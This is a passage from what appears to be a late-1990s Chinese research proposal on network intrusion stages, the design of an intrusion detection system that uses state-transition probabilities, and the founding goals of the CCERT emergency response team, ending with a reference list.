那么,入侵者是如何取得更大权限的呢?在以上两点假设后,可以肯定入侵者唯一可能的渠道是通过对目的系统所提供服务的使用,从而取得更大权限、为此,我们将入侵手段大致归为三类:

1)由于目的系统设置不当,认证机制失败,例如如果一个用户在他的,rhosts文件中信任任何主机,则会导致系统的隐患。

2)入侵者利用一些方法,进行认证欺骗,使目的系统误认为入侵者符合认证条件,几乎所有的spoof技术都可以达到这一效果。

3)服务本身实现的缺陷,常见的即remote buffer overflow.

入侵者所做的工作,就是发现这三种情况是否在目的系统中出现,他的行为可以分为三个阶段:

1)准备阶段,在这一阶段,入侵者所做的工作主要是取得目的系统的各种情况,如目的系统有什么服务,这些服务所用软件的版本号,目的系统有什么用户,目的 系统的版本号等,这些情况的收集,往往涉及到扫描工具的使用,由于这时一般入侵还未发生,因此在这个阶段即检测出可能的入侵,则可将损失至最小,在这一阶 段,扫描的大量使用使检测变得可能,因此,一个好的基于网络的入侵检测系统的重要一点即是扫描的发现。

2)入侵阶段,在入侵阶段,入侵者往往已从准备阶段中所获得信息限定出几个最有可能成功的入侵手段,然后一一检验,所用方法不外手上文所提三种,一个基于规则的入侵检测系统可以根据规则判定入侵的发生。

3)入侵后,入侵成功后,入侵者所做的事通常是:抹掉入侵所留痕迹,建台后门,使系统者起来与以前一样,由于后门的日益复杂,理论上讲,在这一阶段,任何基于网络的入侵检测系统都无法准确发现入侵。

以上所谈的入侵,没有考虑近年来的一些新出现的DOS(Denial of Service)技术,一般来说,由于DOS往往针对特定的操作系统,而且往往有明显的网络异常现象发生,因此,它的检测一般较为容易。

§4 网络入侵检测系统的实现

随着CERNET的不断扩大,入侵事件的发生也日益频繁,而保证每一台主机都能被安全的管理的难度也就越来越大,这种情况的发生,客观上要求一种对入侵事件的迅速检测和有效反应的机制,入侵检测系统则是其中一个重要的组成部分。

那么,为了设计实现这样一个大规模网络的入侵检测系统,应用什么样的特殊考虑呢?为了同答这一问题,必须先讨论一下这样的系统能做什么,不能什么。

1)隐私权的考虑,基于网络的入侵检测系统在实现时,应当监测所有的数据包,但是,数据包的一些内容是不允许读的,这包括一些会话型连接的数据包内容部 分,由于这一点的限制,所有基于数据包内容的入侵方法是不可能被检测出来的,如早期的Sendmail的一个bug允许入侵者通过rcpt to命令写系统的文件,这就无法检测出。

2)性能的考虑,对于象CERNET这样的一个大规模网络,IDS系统必须具有较高的工作效率,因此,过于复杂的算法是难以实现的,同样,IDS系统提取特征必须简练而精确,不允许有过于冗杂的记录。

3)效果的考虑,并不是所有的入侵者可以被发现,也并不是所有发现的都是入侵,基于网络的入侵检测系统的假设是所有入侵都将产生网络使用异常,所谓异常则 指极小概率事件的出现,这一假设并不是总正确的,既有可能存在不产生异常的网络入侵,也有可能小概率事件的善意,正常出现,如一般认为源路由选项的使用是 小概率事件,但并不是异常的。

4)反应措施的考虑,反应措施可以有很多种,但对于象CERNET这样的大规模网络来说,一些是不可取的,如中止这一会话,因为这样会导致辞许多被误判为入侵者的强烈反对,可以考虑的反应措施有记录,提请被入侵系统注警告入侵者等。

实现这样一个IDS系统,主要在于通过对网络流量的监听及对协议包头的分析,具体方法如下:

1)基于规则的包头分析,主要针对TCP/IP的一些安全隐患,而进行的检测,具体内容可参考第一章,它可以检测如下内容:

a. IP Spoof技术中的各种协议隐患如IP源路由包的检测,ICMP重定向包,RIP路由信息伪造等。

b. 特殊的TCP/IP包检测,这些包往往是特殊扫描和DOS攻击的信号。TCP包头中未用选项的使用,TCP选项中不合理的组合,如SYN+FIN, SYN+ACH+FIN,等,目的端口为139的OOB包,这些都极有可能是网络攻击的指示。

c. 单个包虽然没有异常,但前后几个包联系起来看则异常的项,如泪滴攻击,就是利用一些操作系统在前后几个IP包重组时不能正确处理不正常的偏移量从而崩溃的机理进行的。

规则的描述,应当具有易于修改的特性,因为规则一般直接体现了现有的攻击技术,它往往变化很快。

2)基于统计的会话分析,基于统计的会话分析,主要用于扫描的发现,主要利用了TCP和UDP的状态转移方法。

是所以利用状态转移概率的方法进行分析,而不是利用简单的门限,主要是因为近一段时间来,规避密集扫描的方法正不断出现,其中有代表性的如隐式扫描,慢扫 描,可以使连接密度降至每分钟一个的程度,这样简单的门限就完全不起作用了,即使没有这一因素,门限大小的制定也完全根据经验和对安全的关心程度而定,在 一个象CERNET这样规模的网络中,很难制定出一个普遍适用的门限,因此,这种方法导致的结果往往不是过多的误报,就是过多的漏报,甚至有可能二者会同 时出现,这就使这样的系统效果不很理想。

以下则详述利用状态转移概率的异常检测。

a. TCP会话(连接)分析。

首先我们将简介TCP连接的一些大致的情况,为方便起见,没有考虑丢包的情况(考虑后的情况天体相同)

客户端首先发出一个SYN包,如果目的主机,网络存在且目的端口有服务存在,则将回应一SYN+ACK的包,客户端发出数据包从而进入会话状态,最后二者中的任何一方均可发FIN或RST包结束连接。

我们所应注意的是以下一些特殊情况,即,当目的主机,网络不存在时,将由最后一个网关返回ISMP不可到达信息,其次,目的主机存在,但不开时,SYN包 发出后一段时间(典型值为60S)后客户端将返回一个连接超进错误并标志这一会话请求失败,第三,目的主机存在且处于话跃状态,但目的端口不话跃时,客户 端将收到RST包,第四,一个连接间没有数据包交换,达到一定时间(典型值为2小时),一方将认为另一方发生了意外(崩溃,断电,突然断开等),因此将断 开这一连接。

考虑以上各种情况,我们定义状态如下:

A:客户端发出SYN包

B:服务器发出SYN+ACK包

C:客户端和服务器进入数据交换状态

D:客户端或服务器发出FIN包以结束连接

E:客户端或服务器发出RST包以结束连接

F:某一网关发出ICMP目的不可到达数据包以结束连接

G:超时后,一方结束连接

一个表达这样的状态转移的图形如下:

A
B
C
G
D
E
F

显然,由于每一状态的转移概率只与它的上一状态有关,因此这是一个马尔可夫过程。

之所以分为这些状态,是因为各个状态间的转移,常常有不同的含义,其中重要的几点如下:

A®E:概率过高则可能是端口扫描

A®F:概率地高则可能是隐式主机扫描

A®G:概率过高有可能是端口扫描或DOS攻击

B®E:极有可能是端口扫描

B®G:极有可能是端口扫描或DOS攻击

B或C®F:异常情况

那么,如何判断概率异常呢?

对于正常的连接来说,只要服务端状态一定,则客户端与连接的各个状态转移概率是一定的,因此,从理论上讲,只要每一服务端的所有连接统计出各转移概率即 可,但是,这样做有如下困难:即,如果扫描的是一个子网,那么就很难确知应该用哪个服务端的数据,而且,扫描完全可以对任意的一组主机进行,这样这种方法 的实现就有相当大困难。

因此,在实现中,可以对所有主机的发出连接(即以该主机为客户端的连接)进行统计得出转移矩阵,再对所有主机取平均,以此做为一个转移率矩阵的估计值,根据第二的模型b,当本次连接的某一转移概p在mean±d´stdev外的概率小于1/d2。具体实现细节略

b. UDP的会话分析。

由于UDP没有象TCP那样规则,我们只定义如下状态:

A:客户端发出第一个包

B:服务器回答的第一个包

C:客户端服务器进行数据交换

D:一定时间无数据包交换后会话结束

E:ICMP不可到达引起会话结束

一个状态转移图如下:

A
B
C
D
E

具体的讨论与TCP部分大体相同,在此就不重复了。

在以上讨论中,没有谈及这一系统总体框架,事实上,记录的产生和记录的分析是它的两上组成部分,记录的分析是独立于记录的产生而工作的。

以上就是我对这一系统的初步考虑和规划。

第四章 紧急响应的理论与实务

§1.为什么需要紧急响应小组

世界上第一个紧急响应小组—CERT,建立于1989年,它的建立,源于一次大规模的网络入侵—蠕虫事件,1988年,莫里斯所编的蠕虫导致上千台计算机的崩溃,造成了数据以千万计的损失,它暴露出当时的Internet有如下三大弊病。

1)很多网点的管理员和用户安全意识淡薄莫里斯蠕虫中,一大部分是利用信任主机和猜测用户口令进入的。

2)一旦发生网络入侵,缺乏一个寻求技术支持和帮助,并能迅速处理紧急事件,值得信赖的组织,这使得在蠕虫泛滥之时,只有少数几个大学在分别进行研究。

3)缺乏一个反应操作系统缺陷,以及操作系统厂商公布最新缺陷,以使各系统管理员预先有所反应的机制,蠕虫中使用了finger的缓冲区溢出这一缺陷以及Sendmail的一个缺陷,这些缺陷的发现,本可通过正常的宣传使广大系统管理员了解。

CERT的建立,就是为了解决这些问题,CERT建立十年来,大规模的网络入侵几乎再也没有发生过,这应当归功于CERT的对于网络安全的有效宣传和对于入侵事件的迅速响应。

随着中国网络的不断发展,安全问题也日益突出,不断有入侵事件报道,但由于目前尚无这样的一个机制,大多数系统管理员和用户,对于安全尚缺乏足够的重视和 了解,甚至认为入侵离他们很遥无,一些被入侵的网点,很多也并在意,认为只要不是知名网点或商业网点,即使被入侵也没什么大不小的,因此,这样一种机制和 反应小组的建立,已是一个迫在眉睫的问题了。

总的来说,CCERT的建立,主要目的为:

1)普及安全知识,教育系统管理员,提高用户的安全意识,

2)提供咨询服务,接受委托帮助参于系统安全配置管理,或者根据请求对系统的安全管理提供建议

3)入侵的紧急响应,当入侵发生时,应能根据请求,提出可能的入侵点,并能恰当的进行入侵后恢复,入侵检测系统的开发与实现,本身也是这一功能的一个方面,当检测到可能发生的入侵后,可以通过适当的方式通知被入侵系统管理员或警告入侵者。

以上就是CCERT的基本目的,在具体的实现中,则体现为各种工作,如建立Mailing List以通知各种安全问题,建立WWW站点以宣传网络安全知识,建立CA以提供认证服务,建立ftp站点,以方便国内系统管理员得到一些较好的增强系统 安全的软件,IDS的开发与实现等等,这些者是CCERT的每一个具体环节。

§2 CCERT 的目的和实务

2.1 建立CCERT 站点

1) 调研,考察现有IRT工作组的服务内容、工作方式,

2) 下载整理相关资料,并将其中重要的翻译成中文;

3) 软件工具的收集、分类与整理

4) 信息的更新与维护

2.2 建立一个mailing-list

用于通知软件漏洞,以及客户之间的相互交流 ;

2.3 建立证书权威机构(CA)

用于与客户之间的安全通信,同时也为CERNET提供第三方认证服务,其中主要工作:

1) 密钥对的生成;

2) 证书的申请、发放与管理技术;

3) 基于证书的应用技术

2.4 入侵检测技术的研究

1) 数据的采集

2) 数据分析、处理

3) 分析结果的显示、存储

工作计划

具体工作将由如下部分组成:

1),建立 CCERT 站点 , 普及安全知识 ,建立紧急响应机制。这一部分包括:建立 mailinglist, ftp, WWW 等服务, 建立站点安全咨询, 为站点提供脆弱点发现服务, 这一部分工作将在本年度初步完成,但将一直贯穿始终。

2),IDS 理论的研究。主要希望能在 IDS 数据包的分析上提出一些有创意的想法。并能付诸实用。

3),编写一个 IDS 程序, 希望能做到如下几点: Scan 和 可能的入侵的发现,数据包的合法检测,基于连接的认证分析,以及统计理论在 IDS 及数据包过滤中的应用,99.3-2000.4。

4),数据分析以及报告的写作,2000.4-2000.5。

文献索引

1>, Security Problems in the TCP/IP Protocol Suite; S.M. Bellovin

2>, 《构筑因特网放火墙》; D.Brent Chapman, Elizabeth D. Zwicky 著

3>, 《TCP/IP 故障检测与维护》; Mark A. Miller,P.E.著

4>, 《TCP/IP 网络原理与技术》; 周明天,汪文勇 著

5>, Site Security Handbook, RFC 1244

6>, An Application of Patern Matching in Intrusion Detection; Snadeep Kumar , Eugene .Spafford

7>, A Weakness in the 4.2BSD UNIX TCP/IP Software, Computer Science Technical Report No. 117, AT&T Bell Lab, Murray Hill, New Jersey.

8>, Packets Found on an Internet , Steven M. Bellovin

9>, There Be Dragons , Steven M. Bellovin

10>, RPC:Remote Procedure Call Protocol Specification Version 2. RFC 1057

11>, Patern Matching Model for Misuse Intrusion Detection, Sandeep Kumar, Eugene. Spafford

12>, 《UNIX 系统管理》, 马云龙,解华 著

13>, 《网络安全与数据完整性》, Marc Farley, Tom Stearns, Jeffrey Hsu 著

14>, Forming an Incident Response Team, Danny Smith of AusCERT

15>,Large Scale Network Intrusion Detecion System, Computer Security Journal,v8,n2,Lee Sutterfield

16>, A Simple Active Attack Against TCP, Laurent Joncheray

17>, Network Security Through IP Packet Filtering, D.Brent Chapman

18>, BUGTRAQ mailinglist, From 98.4-Current

19>, Rootshell mailinglist, From 98,9-Current

20>, IDS mailinglist ,From 98,9-Current

21>, CERT mailinglist, From 98,4-Current

22>, FIRST info mailinglist, From 98.4-Current

23>, Satan Document.

24>, COPS Document.

25>, TripWare Documents.

26>, The Internet Worm Program: An Analysis. Eugene. Spafford

27>,State Transition Analysis: A Rule-Based Intrusion Detection Approach. Koral Ilgun,Richard A.Kemmerer, and Phillip A. Porras

28>,An Intrusion-Detection Model. Dorothy E. Denning

29>,Intrusion Detection via System Call Traces. Anderew P. Kosoresow and Steven A. Hofmeyr

30>,On a Pattern-Oriented Model for Intrusion Detection. Shiuh-Pyng Shieh, and Virgil D. Gligor

31>,Cooperating Security Managers: A Peer-Based Intrusion Detection System. B. White, A. Fisch and W. Pooch

32>,Artificial Intelligence and Intrusion Detection: Current and Future. Jeremy Frank.

33>,CSI Roundtable: Experts discuss present and future intrusion detection systems. Richard Power

34>,A Network Security Monitor. L Told Heberlein, Gihan V. Diss,Karl N. Levit, Biswanch Mukherjee, Jeff Wood and David wikbur

35>,Network-vs.Host-based Intrusion Detection.

ISS Corp.

36>,网络环境下的智能安全监测系统OSMIS. 樊爱华,陈火旺,齐治昌,沈雁

发表评论

电子邮件地址不会被公开。